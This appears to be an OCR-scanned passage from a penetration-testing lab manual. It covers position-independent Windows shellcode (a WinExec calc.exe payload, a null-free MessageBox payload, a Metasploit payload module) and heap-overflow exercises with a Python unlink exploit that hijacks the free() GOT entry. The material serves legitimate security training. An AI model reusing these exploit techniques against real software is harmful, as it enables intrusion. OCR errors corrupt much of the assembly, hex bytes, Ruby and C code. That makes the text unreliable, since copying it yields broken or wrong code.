00402038 66:81FA 10F5 CMP DX, 0F510

00402030 ~E0 EZ2 LOQPDNE SHORT testshel .00402021

0040203F =75 CC JNZ SHORT testshel.(040200D

00402041 8B53 24 MOV EDX, DWORD PTR DS: [EBX+24]

00402044 01EA ADD EDX,EBP

00402046 OFBR7144A MOVZX EDX,WORD PTR DS: [EDX+ECX*2]

0040204A 8B7B 1C MOV EDI, DWORD PTR DS: {EBX+1C])

00402040 01EF ADD EDI,ERP

0040204F 032C97 ADD EBP, DWCRD PTR DS: [EDI+EDX*4]

00402052 68 2E657865 PUSH 6578652E

00402057 68 63616C63 PUSH 636C6163

DC40205C 54 PUSH ESP

0040205D 370424 XCHEG DWORD PTR 53:[ESPY, EAX

00402060 50 PUSH EAX

00402061 FFDS CaLlL EBP

00402063 CcC INT3
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What are the main differences between h[s code and youls’?
Three major differences :

« Different (and briitiant) technique to get the API address of WinExec

« Uses 16 bit hash to find the function, and “automagically” mserts nuil bytes on the stack in the right
location

« No real Exitfunc... Just crash (so that means that he only needs to find the AP address of just one
function : WinExec)

Let’s look at the details :

In my code, as we have learned in this tab, WE basically first looked up the base address of kernei32, and then
used that base address to find the WinExec function address.

The concept behind Skylined’s code is this : He does not really care about getting the exact baseaddress of
kernel32. The goal is just to get the function address of WinExec.

We know that kernel32.dll is the second module in the InlnitOrderModulelist, except on Windows 7 — 3rd
module in that case. So his code just goes into PEB (InInitOrderModulelist) and jumps to the second module
in the list. Then, instead of getting the base address, the code will just starts looking for functions by comparing
hashes in that module right away. If the WinExec function was not found, which will be the case on Windows
7 — because we won’t be looking at kemel32 yet, it will go to the next (3rd) module and look for WinExec
again. Finally, when the address is found, it is put in ebp. As a sidenote, his code uses a 16 bit hash, and your
code used a 32 bit hash. This explains why the “CMP DX, 0F510” mstruction can be used {compare with DX =
16 bit register)

The code does exactly what it needs to do, without imposing any restrictions. You can stifl use this code to
execute something else, and the method to get the WinExec function address is generic. So our assumption that
we needed to find 2 function addresses is wrong — all we really needed to focus on is getting calc executed.
You can find more information on skylined’s approach to finding a function address here:
http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/#comment-192

Next, calc.exe is pushed on the stack. But no trace of a terminating null byte? Well, if you run this code in the
debugger, you can see that the first 2 instructions of the code (XOR ESI, ESI and PUSH ESI) put 4 null bytes
on the stack. When we reach the point where calc.exe is pushed onto the stack, it is pushed right before these
null byte. So there’s no need to null byte terminate the string inside the code anymore.. nulls are already there,
exactly where they needed to be.

Then, a pointer to “calc.exe” is retrieved using XCHG DWORD PTR SS:[ESP], EAX. Since EAX is zero’d
out (because of the XOR EAX,EAX instruction earlier), this instruction will in fact do 2 things : Get a pointer to
calc.exe into eax, but at the same time, it pushes the null bytes in EAX to the stack. So at that point, eax points
to calc.exe, and the stack looks like this :

00000000
calc
.exe
00000000

Copyright InfoSec Institute, Inc. | Expert Penetration Testing Lab Manual P



This is a good example of using instructions that will produce multiple effects, and of making sure the null
bytes are already in the right position.

The pointer to calc.exe (in EAX) is pushed onto the stack, and finally, the call EBP (run WinExec} is made.
The code ends with a break (0xCC)

We could make this code even shorter. Instead of pushing “calc.exe”™ onto the stack, you could just push “calc”
onto the stack (so we save another 5 bytes)... but that’s just a detail at this point. This is just an excellent
example on how to think when creating smaller null byte free shellcode. Focus on what you want the code to
do, and take the shortest path to reach that goal, without breaking the rules of portability and reliability.

In order to make the code null byte free, we need to take care of forward jumps, because these instructions tend
to introduce null bytes in the shellcode. One way of fixing that is by using relative jumps or using offsets,
which means that we’ll have to use a GetPC procedure to start with. Next, we’ll use a different technique to get
the base address of kernel32, and we won’t use a generic loop to get function addresses, we’ll just call the
find_function 3 times. Finally we will use another technique to push strings to the stack and get a pointer. We'll
use the null byte sniper. All of this results in the following code :

; Sample shellcode that will pop a MessageBox
; with custom title and text
; smaller and null byte free

[Section .text}
[BITS 32]

global start

_start:

;getPC

FLDPI

FSTENV [ESP-0xC]

xor edx,edx

mov dl, 0x7A ;ofiset to start main

;iskylined technique

XOR ECX, ECX ; BCX =0
MOV ESI, [FS:ECX + 0x30] ; ESI = &(PEB)} ([FS:0x301)
MOV ESI, [ESI + 0x0C] ; ESI = PEB->Ldr
MOV ESI, {ESI + 0x1C) ; ESI = PEB->Ldr.InlInitOrder
next module:
MOV EAX, [ESI + 0x08} ; EBP = InInitCrder{X].base address
MOV EDI, [EST + 0x20] ; EBP = InInitOrder{X]).module name (unicocde)
MOV EST, [ESI] ; ESI = InInitOrder([X].flink ({(roxy module)
CMP {EDI + 12*2}, CL ; modulename[12] == {0 ?
JNE next module ; No: try nsxm module.
;jmp start main ; replace this with relative jump forward
LD @CX
add ecx,edx
imp ecx ;)mp start main
;=======function : Find function base addres s e msesm=
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find function:

pushad

mov ebp, [esp + 0Ox24]
mov eax, [ebp + 0Ox3c]
mov edx, [ebp + eax +
add edx, ebp

mov ecx, fedx + 0x18]
mov ebx, {edx + 0x20]}

add ebx, ebp

find function_loop:

jecxz find function finished
dec ecx
mov esi, febx + ecx * 4]

add esi, ebp

compute_hash:
xor edi, edi
X0Or eax, eax
cld

compute hash again:
lodsb

test al, al

jz compute_hash finished
ror edi, Oxd

add edi, eax
jmp compute hash _again
compute hash finished:

find functlon compare:
cmp edi, {lesp + 0x28}

jnz find function loop
mov ebx, fedx + O0Ox24]

add ebx, ecbp

mov cx, {ebx + 2 * ecxj

;save all registers

;put base address of module that is being
;loaded in ebp

;!skip over MSDOS header

;g0 to export table and put relative address
;in edx

;add base address to it.

;eds = absolute address of export table
;set up counter ECX

; {how many exported items are in array ?)
;put names table relative oIfset in ebx
;add base address to it.

;ebx = absolute address of names table

;if ecx=0, then last symbcl has been checked.
s {should never happen}

junless function could not be found
jecx=ecx~-1

;get relative offsaet of the name associated
;with the current symbol

;and store offset in esi

;add base address.

;esi = absolute address of current symbol

jzere out edi

jzero out eax

;clear direction flag.

;will make sure that it increments instead of
;decrements when using lods*

;load bytes at esi (current symbol name)
;into al, + increment esi

;bitwise test

;see if end of string has been reached

;if zero flag is set = end of string reached
;if zero flag is not set, rotate current
;value of hash 13 bits to the right

;add current character of symbol name

;to hash accumulator

;continue loop

;see 1f computed hash matches requested hash
; (at esp+ix28)

;edi = current computed hash

;esl = current function name {string)

;e match, go to naext symbol

;L¥ match extract ordinals table

yrelative offset and put in ebx

;add base address.

;ebx = absolute address of ordinals address table
;get curvent symbol ordinal number (2 bytes)
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mov ebx, fedx + address table relative and put in ebx
add ebx, ebp pase address.
= absclute address of address table

mov eax, [ebx + 4 * ecx] ;get relative function of7a=t from its ordinal

;and put in eax
add eax, ebp ;add base address.

;eax = absclute address of function address
mov [esp + Oxlcl, eax ;overwrite stack copy of eax so popad

;will ooturn function address in eax
find function finished:
popad ;retrieve original registers.

;eax will contain function address

start main:

mov dl, 0x08

suly esp, edx ;allocate space on stack to store 2 things
;in this order : ptr to LoadLibraryd, ExitProc
mov ebp,esp ;set ebp as frame ptr for relative of r

;50 we will be able to Jdo this:

;call ebptéd = Execute LoadLibraryA
;call ebpt8 = Execute ExitProcess
mov edx,eax ;save base address of kernel32 in edx

;get first hash and retrieve function address
; LoadLibrary

cush OxECOE4ESE

puch edx

call find_ function

;put function address on stack (ebx+04)

mov [ebp+0x4],eax

;get second hash and retrieve function address

;for ExitProcess

;base address of kernel32 is now at esp, so we can ¢ this
nov ebx, 0x73EZ2D87E :

xchg ebx, dword [esp]

wush edx

call find function

;store functiona address at ebx+08

mov [ebp+0x8],eax

;do loadlibrary first - so first put pointer to string user32.,dll to stack
1 0xEFF206c6C

0x642e3233
, 1 072657375
;overwrite space with null byte
;we'll use null byte at bl

mov [esp+0xA], bl
;put pointer to string on top of stack
mov esi,esp

ash esi

;polnter to " " is now on top of stack, so Jjust call LoadLibrary
call [ebp+0x4}

; base address of user3Z.dll is now in eax (37 loaded correctly)

mov edx,cax
; put it on stack
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wush eax
;find the MessageBoxA function
mov ebx, O0xBCADAZASB
xchg ebx, dword {esp] ;esp = base address of user32.dll
pusih edx
call find_function
;function address should be in eax now
;we'll keep it there
;get poilnter to title
PUSE (OxFF6e6l6c
FUSH (On65726143
Xor ebx,ebx
mov [esp+0x7],bl ;terminate with null byte
mov ebx,esp ;ebx now points to Title string

;get pointer to Text
PUSH OxFF206e6l
PUSH Ox6c65726fF
FUSH 0x43207962
FPUSH 0x2006465¢e
PUSH Qx7770206e
PUSH Ox65656220
PUSH 0x657661068
PUSH 0x20756£59
XOL BCX,ecX
mev [espt+t0x1F],cl ;terminate with null byte
mov ecx,esp

;now push parameters to the stack

Xor edx,edx ;zero out edx

push edx ;put 0 on stack

pust ebx ;put peinter te Title on stack
pusit ecx ;put pointer to Text on stack
push edx ;put © on stack

call eax ;call MessageBoxA (0, Text,Title, ()

;ExitFunc
XOor eax,eax
jzero out eax
push eax ;put 0 on stack
call [ebp+8] ;ExitProcess {Q)

Assemble and convert to bytecode :

C:\shellcode>"
infosecmsgbox.asm -0
infosecmsgbox.bin

C:\shellcoderperl pveReadbin.pl infosecmsgbox.bin
Reading infosecmsgbox.bin
Read 283 bytes
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v

Number of null bytes : 0

What is the impact of this improved code on our metasploit module ? Well, it added a little bit more complexity
because we will now have to write the strings and null bytes at runtime, but that should not be a showstopper, as
you can write all infelligence in ruby and dynamically build the payload:

require 'msf/core’

moduls Metasploit3

include Msf::Payload: :Windows
include Msf::Payload::Single

gdef initialize(info = {}}
supezr {update_info (info,
'Name' => 'Windows Messagebox with custom title and text',
"Version' => 'SRevision: 2 §',
'Description’ => 'Spawns MessageBox with a customizable title & text',
'Author’ => [ "InfoSec' 1,
‘License’ => BSD_ LICENSE,
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'Platform’ => ‘win',

'‘Arch' => ARCH X86,
'"Privileged' = oo,
'Payload’ =5
{
'Qffsets' => { },
'Payload’ => " "
" " +
n tr 4
n H+
AL} H+
11 ll+
" ll+
113 "ty
rn ll+
" tt +
H ll+
1" ll+
" l‘+
1 ll+
" ll+
n l'l+
" ll+
1] Il+
" ||+
1 ‘||+
1" ||+
" ||+
sr ||+
L3 ||+
" ||+
n "
}
)}

deregister_options {'EXITFUNC')

register_options(

[
OptString.new ('TITLE', { true,
L1 0 ] ) .
CptString.new ("TEXT', [ trus,
r 1" ] )
T, soli.olass)

4el generate
strTitle = datastore{ 'TITLE']
(strFitle}

strTitle=strTitle+" "
iTitle=strTitle.length
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1 (iTicle < 2506)
iNrLines=iTitle/4
iCheckChars = iNrLines * 4

strSpaces=""
iSniperTitle=iTitle-1
if iCheckChars != iTitle tnen

iTargetChars= (iNrLines+1l) *4
while iTitle < iTargetChars
strSpaces+=" "
iTitle+=1
arnd

strTitle=strTitle+strSpaces

strPushTitle=""
striine=""
icnt=strTitle.length-1
icharcnt=0
witiia iant >=
thisChar=strTitlelicnt, 1]
strLine=thisChar+strLine
i1f icharcnt < 3
icharcnt+=1
aelsa
strPushTitle=strPushTitle+" "+strline
strLine=""
icharcnt=0
end
ignt=icnt-1

e A
&nda

r

strifriteTitleNull="
stririteTitleNull += iSniperTitle.chr + "

strText = datastore['TEXT']
strText=strText+" "
iText=strText.length
iNrLines=1Text/4
iCheckChars = iNrLines * 4

strSpaces=""
iSniperText=iText-1
if iCheckChars !'= iText then
iTargetChars= (iNrLines+1) *4
while 1Text < iTargetlhars
strSpaces+=" "
iText+=1

RRRW

[CARES]
iy pd
=haisi

strText=strText+strSpaces

Copyright InfoSec Institute, Inc. | Expert Penetration Testing Lab Manual




strPushText=""

striLing=""

icnt=strText.length-1

icharcnt=0

wihlle icnt >= 0
thisChar=strText{icnt, 1]
strline=thisChar+strLine
if icharcnt < 3

icharcnt+=1

strPushText=strPushText+" "+strline
strLine=""
icharcnt=0

et

icnt=icnt-1

end

strWriteTextNull=" "
strWriteTextNull += iSniperText.chr + © "

i

payload data module info['Paylcad']['Payload']
payload data += strPushTitle + strWriteTitlelull
payload data += strPushText + strWriteTextNull
trailer_data = " "
trailer data += "

trailer data += "

paylecad data += traller data

return payload data

else

Tryit:

./msfpayload windows/messagebox
TEXT=" "
TITLE=" " C

unsigned char buf[] =

n i
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Lab #8
Heap Overflow Exploits

Copyright InfoSec Institute, Inc. | Expert Penetration Testing Lab Manual 396 L



Exercise 1
Simple Heap Overflows

" The heap is an area of memory utilized by an application and atlocated dynamically at run time. It is quite
conumon for buffer overflows to occur in the heap memory space, and exploitation of these bugs is different
from that of stackbased buffer overflows. Unlike stack overflows, heap overflows can be very inconsistent and

have varying exploitation techniques and consequences.Heap memory is different from stack memory in that it

{s persistent between functions. This means that memory allocated in one function stays ailocated until it is

_explicitly freed. This means that a heap overflow may happen but not be noticed until that section of memory is
used later.

Step 1

From a primitive point of view, the heap consists of many blocks of memory, Some of them are allocated to the

| prograin, some are free, but often allocated blocks are placed in adjacent places in memory- Lets create a simple
~ vulnerable program and se€ how we can corrupt other chunks of memory with a heap overflow. Create the
following program and save it as heap.c

#include <ztdio.h>
#include <stdlib.h>

int main{int argc, char *argvil) {
char *chunkl= malloc (20);
char *chunk2 = malloc (20)¢
stropy (chunkZ2, "shunk is OK"}/
strcpy {chunkl, argv{ll)’
printf (“chunkl at %p: %s\n", chunkl, chunkl) ¢
printf ("chunk? at gp: %s\n", chunk?, chunk2);
printf(“\n\n%s\n",'chunk2);
}

Compile this program and run it with some input:
. /heap InfoSecInstitute

What is the ouput of the program?

Step 2

Try it again, but this time give it more input, and overflow chunkl:

. /heap InfoSecInstituteInfoSecInstituteInfoSecInstituteInfoSecInstitute

What happens?

Exercise 2
Complex Heap Overflows

e

e
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Lne previous exercise dealt with a few simple types of overflows pertaining to dynamic heap data. The strength
and popularity of heap overflow exploits comes from the way specific memory allocation functions are
implemented within the individual programming languages and underlying operating platforms. Many common
implementations store control data in-line together with the actual allocated memory. This allows an attacker to
potentially overflow specific sections of memory in a way that these data, when later used by malloc(), will
allow an attacker to overwrite virtually any location in memory with the data he wants.

Step 1
The chunks of memory allocated by malloc have boundary tags. These are fields contaming information about

the size of two chunks placed directly before and
after this chunk in memory.

When a previously allocated chunk is freed, it can be either coalesced with previous (called backward
consolidation) and or forward (called forward consolidation) chunks, if they are free. The resulting chunk is
then placed in a datastructure called bin, which is a doubly linked list of free chunks of a certain size.

Each chunk containts two important pointers. These are the fd and bk pointers . They point to the next and
previous chunks inside a linked list of a bin, not adjacent physical chunks.

When free() needs to take a free chunk off its list in a bin, it replaces the bk pointer of the chunk next to the
chunk in the list with the pointer to the chunk preceding it in this list. The fd pointer of the preceding chunk is
replaced with the pointer to the chunk following it in the list.

The important point for heap exploitation is that the data (which is supposed to be an address under normal heap
operation) contained in the back pointer of a chunk is written to the location stored in the forward pointer plus
12. This means that if you can overwrite these two pointers and force the call to unlink(), you can overwrite any
memory location with anything you want!1!!

Lets create a program to exploit that has allocated two adjacent chunks memory. Let’s refer to these chunks of
memory as chunkl and chunk2. chunk1 has a buffer overflow condition that allows you to overflow the first of
them (chunk1). When we overflow the first chunk, this leads to overwriting the following chunk (chunk?).
Create the following program and call it heap2.c:

#include <stdlib.h>
finclude <string.h>
int main({ int argc, char * argvi{] )

{
char *chunkl, *chunk?2:
chunkl = malloe( 128 )
chunk2 = malloc{ 32 );
strepy ( chunkl, argv([1l] ):
free{ chunkl ):
free{ chunk? ) ;
return( 0 );

}

Compile this program and test that it works.
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#! /usr/bin/python

import string, sys, locale

locale.setlocale(locale . LC ALL, ')

se¢ = 'J' * 8 + '\xeb\x0c' + 'J'*12

se += "\xeb\x13\x31\xdb\x31\xd2\x31\xc0\x59\xb3\x01\xb2\x09\xb0\x04\xcd\x80"
g@ 4= "\xb0\x0l\xcd\x80\xeB\xe8\xEfL\xEL\xff"

sc 4= '"\x41\x4I1\x41\x41\x41\x41\x41\x41"' + 'J'*72

sc += "\xfc\xEFF\xEE\xEE' * 2 + "\x9c\x95\x04\x08"'" + '\x10\x96\x04\x08"'

print sc

After writing the exploit in a text editor and saving it as heapexploit.py, you need to make the exploit
executable:

chmod 777 heapexpleoit.py
To cxecute it, run within grave accents and double quotes:
./heap2 “ heapexploit.py "

You should see the seven “A”s and a single “J” printed to the screen.
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Step. 1

We will try to construct the overflowing data in such a way that when free(chunk1) is called, the free() will
decide that the chunk after chunkl (not necessarily chunk2; we will need to craft our own fake “chunk3” inside
chunk2’s memory space) is free and will try to run forward consolidation of chunk! and chunk3.

We will also make chunk3 have forward and backward pointers such that when unlink() is called, it will
overwrite the memory location of our choice, which is the point of the exercise. A characteristic of the fake
chunk (chunk3) introduced in the w00Ow00 heap overflow whitepaper, is that it must be of negative length. This
will make chunk3 point to itself as the “next” chunk. Read this classic wQOw00 paper for more details if you are
interested. We can do this by overflowing the pointer and making the size Oxfffffffc.

Our exploited chunks should ook like:

Chunle 1

In order to create this exploit, we will create a perl script to place these values in order. Qur perl script will force
execution to be redirected to shellcode that calls two simple system calls, print() and exit(). We will print a

peey_ste

size of cleank 1

& byss of filler

Rt Lv NE

Ydbytes of filler

el ede

fillay

G IE Sor s Sz

W Fiifn Fo e

(30T eniaye far
PEETR

clank] + &

string of 7 “A”s to the screen. The exploit is as follows:

1. Write over the first 8 bytes of random data, We don’t care about these values because it will be

overwritten with the new fd and bk pointers by free().

2. Place a short jump to jump over 12 bytes of non-user controlled data (this is where we will redirect

execution 10)
Place our print() and exit(} shetlcode.

O L s e

execution to #2 above.

7. Place the address to be overwritten, in this case it is the address of chunkl plus 8.

Fill the rest of chunk1 with garbage (72 bytes).
Make size and prev_size areas negative 1 by overflowing with size Oxfffffffc,
Place address GOT entry for free() -12 bytes, which is called after the overflow and will redirect
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The only task left to do is find the address of the free() entry in the GOT and the address whre chunk! lives. We
can do this by running the program in a debugger. First recompile with debug flag:

gcc -g -o heap2 heap2.c
Next, run the program in a debugger:
gdb heap2
Now, in the gdb shell, type:
list
Set the breakpoint after chunk1 has been malloc()ed:
break 7

Make sure you set the above command at the right line. In our case it is 7, you may have a different value if you
included more or less whitespace in your source program. If you set it too soon or afterwards, you wont be able
to determine the address of chunk1.

Run the program:

hay

Find the address of chunk1:

print chunkl

Quit the debugger, and record the address of chunkl here:

Now you need to find the address of free() in the GOT:
cbjdump -R ./heap2 | grep free

Record the address of the GO'T entry for free here:

To build our exploit, we will use very simple sheilcode that calls the write() system call. We will plug in the
address of chunkl plus 8 bytes, which is "x9c\x95\x04\x08'" in our example. We will also plug in the address of
the GOT entry for free() plus 12 bytes, which is "x 10’ 36\x04\x08" in our example.

QOur exploit will look like this:
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